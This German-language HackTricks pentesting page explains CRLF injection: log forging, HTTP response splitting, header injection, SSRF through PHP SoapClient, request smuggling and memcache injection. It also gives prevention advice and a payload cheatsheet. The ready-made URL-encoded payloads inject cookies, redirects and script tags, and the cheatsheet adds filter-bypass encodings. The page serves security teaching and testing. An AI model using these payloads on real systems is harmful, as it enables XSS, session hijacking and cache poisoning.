hacktricks/pentesting-web/crlf-0d-0a.md

CRLF (%0D%0A) Injection

{% hint style="success" %} Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstütze HackTricks

• Überprüfe die Abonnementpläne!
• Tritt der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folge uns auf Twitter 🐦 @hacktricks_live.
• Teile Hacking-Tricks, indem du PRs zu den HackTricks und HackTricks Cloud GitHub-Repos einreichst.

{% endhint %}

Bug-Bounty-Tipp: Melde dich an bei Intigriti, einer Premium-Bug-Bounty-Plattform, die von Hackern für Hacker erstellt wurde! Schließe dich uns heute an unter https://go.intigriti.com/hacktricks und beginne, Prämien von bis zu $100.000 zu verdienen!

{% embed url="https://go.intigriti.com/hacktricks" %}

CRLF

Carriage Return (CR) und Line Feed (LF), zusammen bekannt als CRLF, sind spezielle Zeichenfolgen, die im HTTP-Protokoll verwendet werden, um das Ende einer Zeile oder den Beginn einer neuen zu kennzeichnen. Webserver und Browser verwenden CRLF, um zwischen HTTP-Headern und dem Körper einer Antwort zu unterscheiden. Diese Zeichen werden universell in HTTP/1.1-Kommunikationen über verschiedene Webserver-Typen hinweg eingesetzt, wie Apache und Microsoft IIS.

CRLF-Injektionsanfälligkeit

CRLF-Injektion beinhaltet das Einfügen von CR- und LF-Zeichen in benutzereingeregte Eingaben. Diese Aktion führt dazu, dass der Server, die Anwendung oder der Benutzer die eingefügte Sequenz als das Ende einer Antwort und den Beginn einer anderen interpretiert. Während diese Zeichen an sich nicht schädlich sind, kann ihr Missbrauch zu HTTP-Antwortsplittung und anderen böswilligen Aktivitäten führen.

Beispiel: CRLF-Injektion in einer Protokolldatei

Beispiel von hier

Betrachten Sie eine Protokolldatei in einem Admin-Panel, die das Format: IP - Zeit - Besuchter Pfad folgt. Ein typischer Eintrag könnte so aussehen:

123.123.123.123 - 08:15 - /index.php?page=home

Ein Angreifer kann eine CRLF-Injection ausnutzen, um dieses Protokoll zu manipulieren. Durch das Injizieren von CRLF-Zeichen in die HTTP-Anfrage kann der Angreifer den Ausgabestrom ändern und Protokolleinträge fälschen. Zum Beispiel könnte eine injizierte Sequenz den Protokolleintrag in Folgendes umwandeln:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Hier repräsentieren %0d und %0a die URL-kodierten Formen von CR und LF. Nach dem Angriff würde das Protokoll irreführend anzeigen:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Der Angreifer tarnt somit seine bösartigen Aktivitäten, indem er es so erscheinen lässt, als ob der localhost (eine Entität, die typischerweise im Serverumfeld vertraut ist) die Aktionen ausgeführt hat. Der Server interpretiert den Teil der Abfrage, der mit %0d%0a beginnt, als einen einzelnen Parameter, während der restrictedaction-Parameter als eine andere, separate Eingabe geparst wird. Die manipulierte Abfrage ahmt effektiv einen legitimen administrativen Befehl nach: /index.php?page=home&restrictedaction=edit

HTTP Response Splitting

Beschreibung

HTTP Response Splitting ist eine Sicherheitsanfälligkeit, die entsteht, wenn ein Angreifer die Struktur von HTTP-Antworten ausnutzt. Diese Struktur trennt Header vom Body mithilfe einer spezifischen Zeichenfolge, Carriage Return (CR) gefolgt von Line Feed (LF), zusammen als CRLF bezeichnet. Wenn es einem Angreifer gelingt, eine CRLF-Zeichenfolge in einen Antwort-Header einzufügen, kann er effektiv den nachfolgenden Antwortinhalt manipulieren. Diese Art der Manipulation kann zu schwerwiegenden Sicherheitsproblemen führen, insbesondere zu Cross-site Scripting (XSS).

XSS durch HTTP Response Splitting

1. Die Anwendung setzt einen benutzerdefinierten Header wie folgt: X-Custom-Header: UserInput
2. Die Anwendung ruft den Wert für UserInput aus einem Abfrageparameter ab, sagen wir "user_input". In Szenarien, in denen es an ordnungsgemäßer Eingabevalidierung und -kodierung mangelt, kann ein Angreifer eine Nutzlast erstellen, die die CRLF-Zeichenfolge enthält, gefolgt von bösartigem Inhalt.
3. Ein Angreifer erstellt eine URL mit einem speziell gestalteten 'user_input': ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>

• In dieser URL ist %0d%0a%0d%0a die URL-kodierte Form von CRLFCRLF. Es täuscht den Server, indem es eine CRLF-Zeichenfolge einfügt, wodurch der Server den nachfolgenden Teil als Antwort-Body behandelt.

4. Der Server spiegelt die Eingabe des Angreifers im Antwort-Header wider, was zu einer unbeabsichtigten Antwortstruktur führt, in der das bösartige Skript vom Browser als Teil des Antwort-Bodys interpretiert wird.

Ein Beispiel für HTTP Response Splitting, das zu einer Umleitung führt

Von https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Browser zu:

/%0d%0aLocation:%20http://myweb.com

Und der Server antwortet mit dem Header:

Location: http://myweb.com

Anderes Beispiel: (von https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

Im URL-Pfad

Sie können die Payload innerhalb des URL-Pfads senden, um die Antwort vom Server zu steuern (Beispiel von hier):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Check more examples in:

{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}

HTTP Header Injection

HTTP Header Injection, das oft durch CRLF (Carriage Return und Line Feed) Injection ausgenutzt wird, ermöglicht es Angreifern, HTTP-Header einzufügen. Dies kann Sicherheitsmechanismen wie XSS (Cross-Site Scripting) Filter oder die SOP (Same-Origin Policy) untergraben, was potenziell zu unbefugtem Zugriff auf sensible Daten, wie CSRF-Token, oder zur Manipulation von Benutzersitzungen durch Cookie-Platzierung führen kann.

Ausnutzen von CORS über HTTP Header Injection

Ein Angreifer kann HTTP-Header injizieren, um CORS (Cross-Origin Resource Sharing) zu aktivieren und die durch SOP auferlegten Einschränkungen zu umgehen. Dieser Verstoß ermöglicht es Skripten aus bösartigen Ursprüngen, mit Ressourcen aus einem anderen Ursprung zu interagieren und potenziell auf geschützte Daten zuzugreifen.

SSRF und HTTP Request Injection über CRLF

CRLF-Injection kann genutzt werden, um eine völlig neue HTTP-Anfrage zu erstellen und einzufügen. Ein bemerkenswertes Beispiel dafür ist die Schwachstelle in PHPs SoapClient-Klasse, insbesondere im user_agent-Parameter. Durch Manipulation dieses Parameters kann ein Angreifer zusätzliche Header und Body-Inhalte einfügen oder sogar eine neue HTTP-Anfrage vollständig injizieren. Unten ist ein PHP-Beispiel, das diese Ausnutzung demonstriert:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Header Injection zu Request Smuggling

Für weitere Informationen zu dieser Technik und potenziellen Problemen prüfen Sie die ursprüngliche Quelle.

Sie können essentielle Header injizieren, um sicherzustellen, dass das Back-End die Verbindung offen hält, nachdem es auf die ursprüngliche Anfrage geantwortet hat:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Nachfolgend kann eine zweite Anfrage spezifiziert werden. Dieses Szenario umfasst typischerweise HTTP request smuggling, eine Technik, bei der zusätzliche Header oder Body-Elemente, die vom Server nach der Injektion angehängt werden, zu verschiedenen Sicherheitsausnutzungen führen können.

Ausnutzung:

1. Malicious Prefix Injection: Diese Methode beinhaltet das Vergiften der Anfrage des nächsten Benutzers oder eines Web-Caches, indem ein bösartiges Präfix angegeben wird. Ein Beispiel dafür ist:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

2. Crafting a Prefix for Response Queue Poisoning: Dieser Ansatz beinhaltet die Erstellung eines Präfixes, das, wenn es mit nachfolgendem Müll kombiniert wird, eine vollständige zweite Anfrage bildet. Dies kann das Vergiften der Antwortwarteschlange auslösen. Ein Beispiel ist:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Memcache Injection

Memcache ist ein Key-Value-Store, der ein Klartextprotokoll verwendet. Weitere Informationen finden Sie in:

{% content-ref url="../network-services-pentesting/11211-memcache/" %} 11211-memcache {% endcontent-ref %}

Für die vollständigen Informationen lesen Sie die ursprüngliche Zusammenfassung

Wenn eine Plattform Daten aus einer HTTP-Anfrage entnimmt und diese ohne Bereinigung verwendet, um Anfragen an einen Memcache-Server zu stellen, könnte ein Angreifer dieses Verhalten ausnutzen, um neue Memcache-Befehle zu injizieren.

Zum Beispiel wurden in der ursprünglich entdeckten Schwachstelle Cache-Schlüssel verwendet, um die IP und den Port zurückzugeben, mit dem sich ein Benutzer verbinden sollte, und Angreifer konnten Memcache-Befehle injizieren, die den Cache vergifteten, um die Details der Opfer (Benutzernamen und Passwörter eingeschlossen) an die Server des Angreifers zu senden:

Darüber hinaus entdeckten Forscher auch, dass sie die Memcache-Antworten desynchronisieren konnten, um die IP und Ports der Angreifer an Benutzer zu senden, deren E-Mail der Angreifer nicht kannte:

So verhindern Sie CRLF / HTTP-Header-Injektionen in Webanwendungen

Um die Risiken von CRLF (Carriage Return und Line Feed) oder HTTP-Header-Injektionen in Webanwendungen zu mindern, werden die folgenden Strategien empfohlen:

1. Vermeiden Sie direkte Benutzereingaben in Antwort-Headern: Der sicherste Ansatz besteht darin, Benutzereingaben nicht direkt in Antwort-Header zu integrieren.
2. Kodieren Sie Sonderzeichen: Wenn es nicht möglich ist, direkte Benutzereingaben zu vermeiden, stellen Sie sicher, dass Sie eine Funktion verwenden, die speziell für die Kodierung von Sonderzeichen wie CR (Carriage Return) und LF (Line Feed) zuständig ist. Diese Praxis verhindert die Möglichkeit einer CRLF-Injektion.
3. Aktualisieren Sie die Programmiersprache: Aktualisieren Sie regelmäßig die in Ihren Webanwendungen verwendete Programmiersprache auf die neueste Version. Wählen Sie eine Version, die das Injizieren von CR- und LF-Zeichen innerhalb von Funktionen, die für das Setzen von HTTP-Headern zuständig sind, von vornherein verbietet.

CHEATSHEET

Cheatsheet von hier

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Automatische Werkzeuge

• https://github.com/Raghavd3v/CRLFsuite
• https://github.com/dwisiswant0/crlfuzz

Brute-Force Erkennungsliste

• https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt

Referenzen

• https://www.invicti.com/blog/web-security/crlf-http-header/
• https://www.acunetix.com/websitesecurity/crlf-injection/
• https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
• https://www.netsparker.com/blog/web-security/crlf-http-header/

Bug-Bounty-Tipp: Melden Sie sich an für Intigriti, eine Premium-Bug-Bounty-Plattform, die von Hackern für Hacker erstellt wurde! Treten Sie uns bei unter https://go.intigriti.com/hacktricks heute und beginnen Sie, Prämien von bis zu $100,000 zu verdienen!

{% embed url="https://go.intigriti.com/hacktricks" %}

{% hint style="success" %} Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

• Überprüfen Sie die Abonnementpläne!
• Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
• Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.

{% endhint %}